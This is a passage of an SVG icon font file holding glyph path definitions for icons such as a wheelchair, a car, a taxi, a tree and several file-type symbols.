c17.9717 0 32.4844 -14.8164 31.9883 -32.9004zM257 448c61.8564 0 112 -50.1436 112 -112h-224c0 61.8564 50.1436 112 112 112z" />
    <glyph glyph-name="caret-square-left" unicode="&#xf191;" horiz-adv-x="448" 
d="M400 -32h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h352c26.5098 0 48 -21.4902 48 -48v-352c0 -26.5098 -21.4902 -48 -48 -48zM259.515 323.515l-123.029 -123.029c-4.68652 -4.68652 -4.68652 -12.2842 0 -16.9717l123.028 -123.028
c7.56055 -7.56055 20.4854 -2.20605 20.4854 8.48438v246.06c0.000976562 10.6904 -12.9248 16.0449 -20.4844 8.48535z" />
    <glyph glyph-name="dot-circle" unicode="&#xf192;" 
d="M256 440c136.967 0 248 -111.033 248 -248s-111.033 -248 -248 -248s-248 111.033 -248 248s111.033 248 248 248zM336 192c0 44.1123 -35.8877 80 -80 80s-80 -35.8877 -80 -80s35.8877 -80 80 -80s80 35.8877 80 80z" />
    <glyph glyph-name="wheelchair" unicode="&#xf193;" 
d="M496.101 62.3311l14.2275 -28.6631c3.92871 -7.91504 0.697266 -17.5156 -7.21777 -21.4453l-65.4658 -32.8857c-16.0488 -7.9668 -35.5557 -1.19434 -43.1885 15.0547l-62.7773 133.608h-139.679c-15.9248 0 -29.4258 11.71 -31.6787 27.4746
c-33.8887 237.218 -31.9414 222.481 -32.3213 228.525c0 36.3584 30.3184 65.6348 67.0518 63.9287c33.2715 -1.54492 60.0479 -28.9043 60.9248 -62.2012c0.868164 -32.9326 -23.1514 -60.4229 -54.6074 -65.0381l4.66992 -32.6904h129.961c8.83691 0 16 -7.16309 16 -16
v-32c0 -8.83691 -7.16309 -16 -16 -16h-120.818l4.57227 -32h132.246c11.2168 0 24.1924 -8.24023 28.9619 -18.3916l57.5146 -122.407l36.1787 18.3486c7.91504 3.92871 17.5166 0.697266 21.4453 -7.21777zM311.358 96l25.752 -54.8076
c-27.3047 -61.8848 -89.2402 -105.192 -161.11 -105.192c-97.0469 0 -176 78.9531 -176 176c0 74.0371 45.9561 137.536 110.836 163.489c2.64453 -18.4736 5.77637 -40.3682 9.48828 -66.333c-33.6299 -19.3477 -56.3242 -55.6514 -56.3242 -97.1562
c0 -61.7568 50.2432 -112 112 -112c56.3242 0 103.064 41.7959 110.852 96h24.5068z" />
    <glyph glyph-name="lira-sign" unicode="&#xf195;" horiz-adv-x="384" 
d="M371.994 192c6.78613 0 12.2578 -5.62598 11.9971 -12.4082c-5.15332 -133.758 -94.3174 -211.592 -228.408 -211.592h-79.583c-6.62695 0 -12 5.37305 -12 12v193.442l-49.3975 -10.9775c-7.49316 -1.66602 -14.6025 4.03711 -14.6025 11.7139v40.9766
c0 5.31348 4.20996 10.5615 9.39746 11.7139l54.6025 12.1338v30.4395l-49.3975 -10.9775c-7.49316 -1.66602 -14.6025 4.03711 -14.6025 11.7139v40.9766c0 5.31348 4.20996 10.5615 9.39746 11.7139l54.6025 12.1338v68.9971c0 6.62695 5.37305 12 12 12h56
c6.62695 0 12 -5.37305 12 -12v-51.2188l129.397 28.7539c7.49316 1.66602 14.6025 -4.03711 14.6025 -11.7139v-40.9756c0 -5.31348 -4.20996 -10.5615 -9.39746 -11.7139l-134.603 -29.9121v-30.4385l129.397 28.7539c7.49316 1.66602 14.6025 -4.03711 14.6025 -11.7139
v-40.9766c0 -5.31348 -4.20996 -10.5615 -9.39746 -11.7139l-134.603 -29.9121v-159.219c86.1787 0 168 48 168 148.754c0 6.33398 5.63965 11.2461 11.9746 11.2461h48.0195z" />
    <glyph glyph-name="space-shuttle" unicode="&#xf197;" horiz-adv-x="640" 
d="M592.604 239.756c29.6787 -13.9111 47.3965 -31.7637 47.3965 -47.7559s-17.7178 -33.8447 -47.3965 -47.7559c-32.8682 -15.4082 -76.8262 -24.2441 -120.604 -24.2441h-285.674c-4.95215 -6.55469 -10.585 -11.9775 -16.7197 -16h206.394
c-146.843 -30.2529 -156.597 -136 -279.997 -136h-0.00292969v128h-16v-128c-26.5098 0 -48 28.6543 -48 64v64c-23.1807 0 -32 10.0166 -32 24v40c0 13.9678 8.80273 24 32 24v16c-23.1807 0 -32 10.0166 -32 24v40c0 13.9678 8.80273 24 32 24v64
c0 35.3457 21.4902 64 48 64v-128h16v128h0.00292969c123.4 0 133.154 -105.747 279.997 -136h-206.393c6.13477 -4.02246 11.7676 -9.44531 16.7197 -16h285.673c43.7773 0 87.7354 -8.83594 120.604 -24.2441zM488 152c31.9424 0 31.9092 80 0 80
c-4.41602 0 -8 -3.58398 -8 -8v-64c0 -4.41602 3.58398 -8 8 -8z" />
    <glyph glyph-name="envelope-square" unicode="&#xf199;" horiz-adv-x="448" 
d="M400 416c26.5098 0 48 -21.4902 48 -48v-352c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h352zM178.117 185.896c10.5156 -7.66895 31.3799 -26.1133 45.8828 -25.8955
c14.4912 -0.225586 35.3828 18.2393 45.8828 25.8936c90.6836 65.8145 89.7461 65.9697 114.117 84.9385v25.167c0 13.2549 -10.7451 24 -24 24h-272c-13.2549 0 -24 -10.7451 -24 -24v-25.167c24.3525 -18.9541 23.4287 -19.1201 114.117 -84.9365zM384 230.225
c-13.958 -10.793 -33.3252 -25.2334 -95.2832 -70.1982c-13.6826 -9.98438 -37.833 -32.1592 -64.7197 -32.0254c-26.7188 -0.134766 -50.5322 21.6689 -64.6943 32.0098c-61.9736 44.9785 -81.3447 59.4199 -95.3027 70.2139v-142.225c0 -13.2549 10.7451 -24 24 -24h272
c13.2549 0 24 10.7451 24 24v142.225z" />
    <glyph glyph-name="university" unicode="&#xf19c;" 
d="M496 320v-16c0 -4.41602 -3.58398 -8 -8 -8h-24v-12c0 -6.62695 -5.37305 -12 -12 -12h-392c-6.62695 0 -12 5.37305 -12 12v12h-24c-4.41602 0 -8 3.58398 -8 8v16c0 2.95215 2.21387 6.26367 4.94141 7.3916l232 88
c0.810547 0.335938 2.18066 0.608398 3.05859 0.608398s2.24805 -0.272461 3.05859 -0.608398l232 -88c2.72754 -1.12793 4.94141 -4.43945 4.94141 -7.3916zM472 16c13.2549 0 24 -10.7451 24 -24v-16c0 -4.41602 -3.58398 -8 -8 -8h-464c-4.41602 0 -8 3.58398 -8 8v16
c0 13.2549 10.7451 24 24 24h432zM96 256h64v-192h64v192h64v-192h64v192h64v-192h36c6.62695 0 12 -5.37305 12 -12v-20h-416v20c0 6.62695 5.37305 12 12 12h36v192z" />
    <glyph glyph-name="graduation-cap" unicode="&#xf19d;" horiz-adv-x="640" 
d="M622.34 294.8c23.5498 -7.24023 23.5498 -38.3594 0 -45.5996l-278.95 -85.7002c-20.3496 -6.25 -37.7295 -2.78027 -46.79 0l-195.569 60.0898c-12.25 -8.41992 -19.9307 -21.7002 -20.6904 -36.7197c9.19043 -5.62012 15.6602 -15.2998 15.6602 -26.8701
c0 -10.7803 -5.67969 -19.8496 -13.8604 -25.6504l25.5303 -114.88c2.21973 -9.98926 -5.37988 -19.4697 -15.6201 -19.4697h-56.1094c-10.2305 0 -17.8301 9.48047 -15.6104 19.4697l25.5303 114.88c-8.18066 5.80078 -13.8604 14.8701 -13.8604 25.6504
c0 11.8896 6.78027 21.8496 16.4102 27.3701c0.649414 17.6201 7.20996 33.71 17.8799 46.8994l-48.6299 14.9404c-23.54 7.23047 -23.54 38.3604 0 45.5898l278.95 85.7002c15.1895 4.66992 31.5898 4.66992 46.79 0zM352.79 132.91l145.03 44.5596l14.1797 -113.47
c0 -35.3496 -85.96 -64 -192 -64s-192 28.6504 -192 64l14.1797 113.46l145.021 -44.5498c12.75 -3.91992 37.0596 -8.75977 65.5898 0z" />
    <glyph glyph-name="language" unicode="&#xf1ab;" horiz-adv-x="640" 
d="M152.1 211.8l10.9004 -37.5h-38.0996l11.0996 37.5c3.5 12.1006 7.7998 33.2002 7.7998 33.2002h0.5s4.2998 -21.0996 7.7998 -33.2002zM616 352c13.2998 0 24 -10.7002 24 -24v-272c0 -13.2998 -10.7002 -24 -24 -24h-280v320h280zM592 232v16
c0 6.59961 -5.40039 12 -12 12h-64v16c0 6.59961 -5.40039 12 -12 12h-16c-6.59961 0 -12 -5.40039 -12 -12v-16h-64c-6.59961 0 -12 -5.40039 -12 -12v-16c0 -6.59961 5.40039 -12 12 -12h114.3c-6.2002 -14.2998 -16.5 -29 -30 -43.2002
c-6.59961 6.90039 -12.3994 13.9004 -17.3994 20.9004c-3.60059 5.09961 -10.6006 6.59961 -16 3.39941l-7.30078 -4.2998l-6.5 -3.89941c-5.89941 -3.5 -7.69922 -11.4004 -3.69922 -17.1006c6.09961 -8.7002 13.0996 -17.2998 21 -25.7002
c-8.10059 -6.2998 -16.8008 -12.2998 -26.1006 -18c-5.59961 -3.39941 -7.39941 -10.5996 -4.2002 -16.1992l7.90039 -13.9004c3.40039 -5.90039 10.9004 -7.7998 16.7002 -4.2998c12.7002 7.7998 24.5 16.2002 35.3994 24.8994
c10.9004 -8.7998 22.8008 -17.0996 35.4004 -24.8994c5.7998 -3.5 13.2998 -1.60059 16.7002 4.2998l7.89941 13.9004c3.2002 5.69922 1.40039 12.7998 -4.09961 16.1992c-9 5.5 -17.7002 11.6006 -26.0996 18c21 22.5 35.7998 46.3008 42.6992 69.9004h11.4004
c6.59961 0 12 5.40039 12 12zM0 328c0 13.2998 10.7002 24 24 24h280v-320h-280c-13.2998 0 -24 10.7002 -24 24v272zM58.9004 111.9c-2.60059 -7.80078 3.19922 -15.9004 11.3994 -15.9004h22.9004c5.2998 0 10 3.59961 11.5 8.7002l9.09961 31.7998h60.2002
l9.40039 -31.9004c1.40137 -4.74316 6.55273 -8.59668 11.5 -8.59961h22.8994c8.2998 0 14 8.09961 11.4004 15.9004l-57.5 169.1c-1.7002 4.7998 -6.2998 8.09961 -11.4004 8.09961h-32.5c-5.2002 0 -9.7002 -3.19922 -11.3994 -8.09961z" />
    <glyph glyph-name="fax" unicode="&#xf1ac;" 
d="M480 288c17.6641 0 32 -14.3359 32 -32v-288c0 -17.6641 -14.3359 -32 -32 -32h-320c-17.6641 0 -32 14.3359 -32 32v448c0 17.6641 14.3359 32 32 32h242.75c7.31348 -0.000976562 17.4473 -4.19922 22.6201 -9.37012l45.25 -45.25
c5.17676 -5.17285 9.37891 -15.3115 9.37988 -22.6299v-82.75zM288 16v32c0 8.83203 -7.16797 16 -16 16h-32c-8.83203 0 -16 -7.16797 -16 -16v-32c0 -8.83203 7.16797 -16 16 -16h32c8.83203 0 16 7.16797 16 16zM288 144v32c0 8.83203 -7.16797 16 -16 16h-32
c-8.83203 0 -16 -7.16797 -16 -16v-32c0 -8.83203 7.16797 -16 16 -16h32c8.83203 0 16 7.16797 16 16zM416 16v32c0 8.83203 -7.16797 16 -16 16h-32c-8.83203 0 -16 -7.16797 -16 -16v-32c0 -8.83203 7.16797 -16 16 -16h32c8.83203 0 16 7.16797 16 16zM416 144v32
c0 8.83203 -7.16797 16 -16 16h-32c-8.83203 0 -16 -7.16797 -16 -16v-32c0 -8.83203 7.16797 -16 16 -16h32c8.83203 0 16 7.16797 16 16zM416 256v64h-48c-8.83203 0 -16 7.16797 -16 16v48h-160v-128h224zM64 320c17.6641 0 32 -14.3359 32 -32v-320
c0 -17.6641 -14.3359 -32 -32 -32h-32c-17.6641 0 -32 14.3359 -32 32v320c0 17.6641 14.3359 32 32 32h32z" />
    <glyph glyph-name="building" unicode="&#xf1ad;" horiz-adv-x="448" 
d="M436 -32c6.62695 0 12 -5.37305 12 -12v-20h-448v20c0 6.62695 5.37305 12 12 12h20v456c0 13.2549 10.7451 24 24 24h336c13.2549 0 24 -10.7451 24 -24v-456h20zM128 372v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12v40
c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12zM128 276v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12v40c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12zM180 128c6.62695 0 12 5.37305 12 12v40
c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40zM256 -32v84c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-84h64zM320 140v40c0 6.62695 -5.37305 12 -12 12h-40
c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12zM320 236v40c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12zM320 332v40
c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12z" />
    <glyph glyph-name="child" unicode="&#xf1ae;" horiz-adv-x="384" 
d="M120 376c0 39.7646 32.2354 72 72 72s72 -32.2354 72 -72c0 -39.7637 -32.2354 -72 -72 -72s-72 32.2363 -72 72zM374.627 374.627c12.4971 -12.4971 12.4971 -32.7568 0 -45.2539l-94.627 -94.627v-266.746c0 -17.6729 -14.3271 -32 -32 -32h-16
c-17.6729 0 -32 14.3271 -32 32v112h-16v-112c0 -17.6729 -14.3271 -32 -32 -32h-16c-17.6729 0 -32 14.3271 -32 32v266.746l-94.627 94.626c-12.4971 12.4971 -12.4971 32.7578 0 45.2549c12.4961 12.4971 32.7578 12.4971 45.2539 0l86.627 -86.627h101.491
l86.6279 86.627c12.4961 12.4971 32.7578 12.4971 45.2539 0z" />
    <glyph glyph-name="paw" unicode="&#xf1b0;" 
d="M256 224c79.4102 0 192 -122.76 192 -200.25c0 -34.9004 -26.8096 -55.75 -71.7402 -55.75c-48.4102 0 -80.75 25.0801 -120.26 25.0801c-39.1699 0 -71.4199 -25.0801 -120.26 -25.0801c-44.9307 0 -71.7402 20.8496 -71.7402 55.75c0 77.4902 112.59 200.25 192 200.25
zM108.72 236.61c10.4004 -34.6504 -4.76953 -68.3799 -33.8896 -75.3408c-29.1201 -6.95996 -61.1602 15.4805 -71.5605 50.1309c-10.3994 34.6494 4.77051 68.3799 33.8906 75.3398s61.1602 -15.4805 71.5596 -50.1299zM193.44 257.39
c-30.9307 -8.14941 -65.6201 20.4502 -77.46 63.8701c-11.8408 43.4199 3.63965 85.2207 34.5791 93.3604c30.9404 8.13965 65.6201 -20.4502 77.46 -63.8701c11.8408 -43.4199 -3.63965 -85.2197 -34.5791 -93.3604zM474.83 286.73
c29.1201 -6.96094 44.29 -40.6904 33.8896 -75.3408c-10.4102 -34.6494 -42.4395 -57.0898 -71.5596 -50.1299s-44.29 40.6904 -33.8906 75.3398c10.4102 34.6504 42.4404 57.0908 71.5605 50.1309zM318.56 257.39c-30.9395 8.14062 -46.4199 49.9404 -34.5791 93.3604
c11.8398 43.4199 46.5195 72.0195 77.46 63.8701c30.9395 -8.15039 46.4199 -49.9404 34.5791 -93.3604c-11.8398 -43.4199 -46.5195 -72.0098 -77.46 -63.8701z" />
    <glyph glyph-name="cube" unicode="&#xf1b2;" 
d="M239.1 441.7c10.9004 4.09961 22.9004 4.09961 33.7002 -0.100586l208 -78c18.7002 -7 31.1006 -24.8994 31.1006 -44.8994v-225.101c0 -18.0996 -10.2002 -34.7998 -26.5 -42.8994l-208 -104c-13.5 -6.7998 -29.4004 -6.7998 -42.9004 0l-208 104
c-16.2002 8.09961 -26.5 24.7002 -26.5 42.8994v225.101c0 20 12.4004 38 31.0996 45zM256 379.6l-192 -72v-1.09961l192 -78l192 78v1.09961zM288 23.5996l160 80v133.9l-160 -65v-148.9z" />
    <glyph glyph-name="cubes" unicode="&#xf1b3;" 
d="M488.6 197.8c14.1006 -5.2998 23.4004 -18.7002 23.4004 -33.7002v-110.1c0 -13.5996 -7.7002 -26.0996 -19.9004 -32.2002l-100 -50c-10.0996 -5.09961 -22.0996 -5.09961 -32.1992 0l-103.9 52l-103.9 -52c-10.0996 -5.09961 -22.0996 -5.09961 -32.1992 0l-100 50
c-12.2002 6.10059 -19.9004 18.6006 -19.9004 32.2002v110.1c0 15 9.2998 28.4004 23.2998 33.7002l96.6006 36.2002v108.5c0 15 9.2998 28.4004 23.3994 33.7002l100 37.5c8.2002 3.09961 17.2002 3.09961 25.2998 0l100 -37.5
c14.1006 -5.2998 23.4004 -18.7002 23.4004 -33.7002v-108.5zM358 233.2v73.2998l-85 -37v-68.2002zM154 343.9v-0.600586l102 -41.3994l102 41.3994v0.600586l-102 38.1992zM238 52.7998v75.4004l-85 -38.7998v-79.1006zM238 164.8v0.600586l-102 38.1992l-102 -38.1992
v-0.600586l102 -41.3994zM478 52.7998v75.4004l-85 -38.7998v-79.1006zM478 164.8v0.600586l-102 38.1992l-102 -38.1992v-0.600586l102 -41.3994z" />
    <glyph glyph-name="recycle" unicode="&#xf1b8;" 
d="M184.561 186.097c3.23242 -13.9971 -12.1221 -24.6348 -24.0674 -17.168l-40.7363 25.4551l-50.8672 -81.4014c-13.2832 -21.2559 2.07031 -48.9824 27.1221 -48.9824h51.9883c6.62695 0 12 -5.37305 12 -12v-40c0 -6.62695 -5.37305 -12 -12 -12h-51.8848
c-75.334 0 -121.302 83.0479 -81.4082 146.88l50.8223 81.3877l-40.7256 25.4482c-12.0811 7.54688 -8.96582 25.9609 4.87891 29.1582l110.237 25.4502c8.61133 1.9873 17.2012 -3.38086 19.1895 -11.9902zM283.122 369.012
c-12.2842 19.6543 -41.5449 20.3193 -54.2568 -0.0214844l-17.9609 -28.7432c-3.5127 -5.62012 -10.916 -7.3291 -16.5361 -3.81738l-33.9189 21.1953c-5.62012 3.51172 -7.33008 10.9131 -3.82031 16.5332l17.9629 28.7656c37.6074 60.1709 125.295 60.0332 162.816 0
l41.2627 -66.082l40.6875 25.4238c12.0771 7.55176 27.2646 -3.32324 24.0674 -17.168l-25.4502 -110.236c-1.97363 -8.55273 -10.5166 -13.9893 -19.1885 -11.9902l-110.237 25.4502c-13.8789 3.20508 -16.9297 21.6299 -4.87891 29.1572l40.7402 25.457zM497.288 146.88
c39.9268 -63.8828 -6.13379 -146.88 -81.4082 -146.88h-95.8799v-47.9893c0 -14.3105 -17.3105 -21.3184 -27.3135 -11.3145l-80 79.9883c-6.24805 6.24805 -6.24805 16.3799 0 22.627l80 79.9814c10.0713 10.0703 27.3135 2.90039 27.3135 -11.3125v-47.9814h95.9844
c25.0791 0 40.3926 27.749 27.1357 48.96l-27.5645 44.1123c-3.51172 5.62109 -1.80176 13.0234 3.81836 16.5361l33.8613 21.1582c5.62207 3.51367 13.0264 1.80273 16.5381 -3.82031z" />
    <glyph glyph-name="car" unicode="&#xf1b9;" 
d="M499.99 272c7.80957 0 13.54 -7.33984 11.6494 -14.9102l-6 -24c-1.33008 -5.33984 -6.12988 -9.08984 -11.6396 -9.08984h-20.0703c13.4199 -11.7305 22.0703 -28.7803 22.0703 -48v-48c0 -16.1299 -6.16016 -30.6797 -16 -41.9297v-54.0703
c0 -17.6699 -14.3301 -32 -32 -32h-32c-17.6699 0 -32 14.3301 -32 32v32h-256v-32c0 -17.6699 -14.3301 -32 -32 -32h-32c-17.6699 0 -32 14.3301 -32 32v54.0703c-9.83984 11.2598 -16 25.8096 -16 41.9297v48c0 19.2197 8.65039 36.2695 22.0801 48h-20.0703
c-5.50977 0 -10.3096 3.75 -11.6396 9.08984l-6 24c-1.90039 7.57031 3.83008 14.9102 11.6396 14.9102h59.8604l16.6396 41.5996c17.1104 42.7705 57.9307 70.4004 103.99 70.4004h127c46.0703 0 86.8799 -27.6299 103.98 -70.4004l16.6396 -41.5996h59.8701z
M147.93 289.83l-19.9297 -49.8301h256l-19.9297 49.8301c-7.29004 18.2197 -24.9404 30.1699 -44.5703 30.1699h-127c-19.6299 0 -37.2803 -11.9502 -44.5703 -30.1699zM96 128.2c19.2002 0 48 -3.19043 48 15.9502c0 19.1396 -28.7998 47.8496 -48 47.8496
s-32 -12.7598 -32 -31.9004c0 -19.1396 12.7998 -31.8994 32 -31.8994zM416 128.2c19.2002 0 32 12.7598 32 31.8994c0 19.1406 -12.7998 31.9004 -32 31.9004s-48 -28.71 -48 -47.8496c0 -19.1406 28.7998 -15.9502 48 -15.9502z" />
    <glyph glyph-name="taxi" unicode="&#xf1ba;" 
d="M462 206.36c28.5898 -6.40039 50 -31.8301 50 -62.3604v-48c0 -23.6201 -12.9502 -44.0303 -32 -55.1201v-40.8799c0 -17.6699 -14.3301 -32 -32 -32h-32c-17.6699 0 -32 14.3301 -32 32v32h-256v-32c0 -17.6699 -14.3301 -32 -32 -32h-32c-17.6699 0 -32 14.3301 -32 32
v40.8799c-19.0498 11.0801 -32 31.4902 -32 55.1201v48c0 30.5303 21.4102 55.96 50 62.3604l22 84.8398c9.59961 35.2002 41.5996 60.7998 76.7998 60.7998h11.2002v32c0 17.6699 14.3301 32 32 32h128c17.6699 0 32 -14.3301 32 -32v-32h11.2002
c35.2002 0 67.2002 -25.5996 76.7998 -60.7998zM96 96c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM116.55 208h278.9l-17.3906 67.1396c-2.01953 7.37988 -9.37988 12.8604 -14.8496 12.8604h-214.4
c-5.46973 0 -12.8291 -5.48047 -15.0596 -13.6396zM416 96c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" />
    <glyph glyph-name="tree" unicode="&#xf1bb;" horiz-adv-x="384" 
d="M378.31 69.5098c6 -6.79004 7.36035 -16.0898 3.56055 -24.2598c-3.75 -8.0498 -12 -13.25 -21.0098 -13.25h-136.86v-24.4502l30.29 -48.3994c5.32031 -10.6406 -2.41992 -23.1602 -14.3096 -23.1602h-95.9609c-11.8896 0 -19.6299 12.5195 -14.3096 23.1602
l30.29 48.3994v24.4502h-136.86c-9.00977 0 -17.2598 5.2002 -21.0098 13.25c-3.7998 8.16992 -2.43945 17.4697 3.56055 24.2598l79.8896 90.4902h-30.6299c-9.02051 0 -16.9805 5 -20.7803 13.0498c-3.79004 8.0498 -2.54004 17.2598 3.27051 24.04l78.1396 90.9102
h-28.8896c-9.10059 0 -17.3105 5.34961 -20.8701 13.6104c-3.51074 8.12988 -1.86035 17.5898 4.23926 24.0801l110.28 117.479c6.04004 6.4502 17.29 6.4502 23.3203 0l110.27 -117.479c6.10059 -6.49023 7.76074 -15.9502 4.24023 -24.0801
c-3.55957 -8.26074 -11.7598 -13.6104 -20.8604 -13.6104h-28.8896l78.1299 -90.8896c5.83008 -6.79004 7.08008 -16.0107 3.28027 -24.0508c-3.7998 -8.05957 -11.7705 -13.0596 -20.7803 -13.0596h-30.6299z" />
    <glyph glyph-name="database" unicode="&#xf1c0;" horiz-adv-x="448" 
d="M448 374.857v-45.7148c0 -40.2852 -100.333 -73.1426 -224 -73.1426s-224 32.8574 -224 73.1426v45.7148c0 40.2852 100.333 73.1426 224 73.1426s224 -32.8574 224 -73.1426zM448 272v-102.857c0 -40.2852 -100.333 -73.1426 -224 -73.1426s-224 32.8574 -224 73.1426
v102.857c48.125 -33.1426 136.208 -48.5723 224 -48.5723s175.874 15.4297 224 48.5723zM448 112v-102.857c0 -40.2852 -100.333 -73.1426 -224 -73.1426s-224 32.8574 -224 73.1426v102.857c48.125 -33.1426 136.208 -48.5723 224 -48.5723s175.874 15.4297 224 48.5723z
" />
    <glyph glyph-name="file-pdf" unicode="&#xf1c1;" horiz-adv-x="384" 
d="M181.9 191.9c-5 16 -4.90039 46.8994 -2 46.8994c8.39941 0 7.59961 -36.8994 2 -46.8994zM180.2 144.7c9.59961 -17.4004 21.7998 -31.2002 34.5 -40.7998c-23.9004 -4.7002 -44.6006 -14.9004 -62.9004 -21.9004c11.1006 19.4004 20.7002 42.5 28.4004 62.7002z
M86.0996 19.9004c5.80078 15.6992 28.2002 33.8994 34.9004 40.1992c-21.7002 -34.7998 -34.9004 -41 -34.9004 -40.1992zM248 288h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136
c0 -13.2002 10.7998 -24 24 -24zM240 116.2c-20 12.2002 -33.2998 29 -42.7002 53.7998c4.5 18.5 11.6006 46.5996 6.2002 64.2002c-4.7002 29.3994 -42.4004 26.5 -47.7998 6.7998c-5 -18.2998 -0.400391 -44.0996 8.09961 -77
c-11.5996 -27.5996 -28.7002 -64.5996 -40.7998 -85.7998c-0.0996094 0 -0.0996094 -0.100586 -0.200195 -0.100586c-27.0996 -13.8994 -73.5996 -44.5 -54.5 -68c5.60059 -6.89941 16 -10 21.5 -10c17.9004 0 35.7002 18 61.1006 61.8008
c25.7998 8.5 54.0996 19.0996 79 23.1992c21.6992 -11.7998 47.0996 -19.5 64 -19.5c29.1992 0 31.1992 32 19.6992 43.4004c-13.8994 13.5996 -54.2998 9.7002 -73.5996 7.2002zM377 343c4.5 -4.5 7 -10.5996 7 -16.9004v-6.09961h-128v128h6c6.40039 0 12.5 -2.5 17 -7z
M302.9 87.7002c0 0 -5.7002 -6.7998 -42.8008 9c40.3008 2.89941 46.9004 -6.2998 42.8008 -9z" />
    <glyph glyph-name="file-word" unicode="&#xf1c2;" horiz-adv-x="384" 
d="M224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136zM281.1 192c-5.59961 0 -10.5 -3.90039 -11.5 -9.5c-24.1992 -111.4 -21.7998 -118 -21.5996 -129.2
c-0.799805 5.40039 -5.59961 29 -29.5996 129.4c-1.30078 5.39941 -6.10059 9.2002 -11.7002 9.2002h-29.1006c-5.59961 0 -10.3994 -3.7002 -11.6992 -9.10059c-22.1006 -90 -27.8008 -112.5 -29.4004 -122.7c-0.900391 12.7002 -5.40039 44.2002 -21 122.2
c-1.09961 5.7002 -6.09961 9.7002 -11.7998 9.7002h-24.5c-7.7002 0 -13.4004 -7.09961 -11.7002 -14.5996l37.7998 -168c1.2002 -5.5 6.10059 -9.40039 11.7002 -9.40039h37.0996c5.5 0 10.3008 3.7998 11.6006 9.09961c23.2002 93.1006 24.5 96.2002 25.5996 110.5h0.5
c4.7998 -29.2998 -0.200195 -7 25.6006 -110.5c1.2998 -5.2998 6.09961 -9.09961 11.5996 -9.09961h38c5.59961 0 10.5 3.7998 11.7002 9.2998l38 168c1.7002 7.60059 -4 14.7002 -11.7002 14.7002h-23.9004zM384 326.1v-6.09961h-128v128h6.09961
c6.40039 0 12.5 -2.5 17 -7l97.9004 -98c4.5 -4.5 7 -10.5996 7 -16.9004z" />
    <glyph glyph-name="file-excel" unicode="&#xf1c3;" horiz-adv-x="384" 
d="M224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136zM284.1 205.5c5.10059 8 -0.599609 18.5 -10.0996 18.4004h-34.7998
c-4.40039 0 -8.5 -2.40039 -10.6006 -6.30078c-30.5 -56.7998 -36.5996 -68.5 -36.5996 -68.5c-16.5996 34.9004 -10.5 19.7002 -36.5996 68.5c-2.10059 3.90039 -6.2002 6.30078 -10.6006 6.30078h-34.7998c-9.5 0 -15.2998 -10.5 -10.0996 -18.5l60.2998 -93.5
l-60.2998 -93.5c-5.10059 -8 0.599609 -18.5 10.0996 -18.5h34.9004c4.39941 0 8.39941 2.39941 10.5 6.2998c26.5996 48.7998 30.1992 54 36.5996 68.7998c0 0 16.9004 -32.5 36.5 -68.7002c2.09961 -3.89941 6.2002 -6.2998 10.5996 -6.2998h34.9004
c9.5 0 15.2002 10.5 10.0996 18.5l-60.0996 93.5zM384 326.1v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7l97.9004 -98c4.5 -4.5 7 -10.5996 7 -16.9004z" />
    <glyph glyph-name="file-powerpoint" unicode="&#xf1c4;" horiz-adv-x="384" 
d="M193.7 176.8c8.7998 0 15.5 -2.7002 20.2998 -8.09961c9.59961 -10.9004 9.7998 -32.7002 -0.200195 -44.1006c-4.89941 -5.59961 -11.8994 -8.5 -21.0996 -8.5h-26.9004v60.7002h27.9004zM377 343c4.5 -4.5 7 -10.5996 7 -16.9004v-6.09961h-128v128h6
c6.40039 0 12.5 -2.5 17 -7zM224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136zM277 146.8c0 44.2002 -28.4004 77 -72.9004 77h-81
c-6.59961 0 -12 -5.39941 -12 -12v-199.8c0 -6.59961 5.40039 -12 12 -12h30.8008c6.59961 0 12 5.40039 12 12v57.2002c22.2998 0 111.1 -12.7002 111.1 77.5996z" />
    <glyph glyph-name="file-image" unicode="&#xf1c5;" horiz-adv-x="384" 
d="M384 326.059v-6.05859h-128v128h6.05859c5.4873 0 13.0898 -3.14941 16.9707 -7.0293l97.9404 -97.9404c3.88086 -3.88086 7.03027 -11.4834 7.03027 -16.9717zM248 288h136v-328c0 -13.2549 -10.7451 -24 -24 -24h-336c-13.2549 0 -24 10.7451 -24 24v464
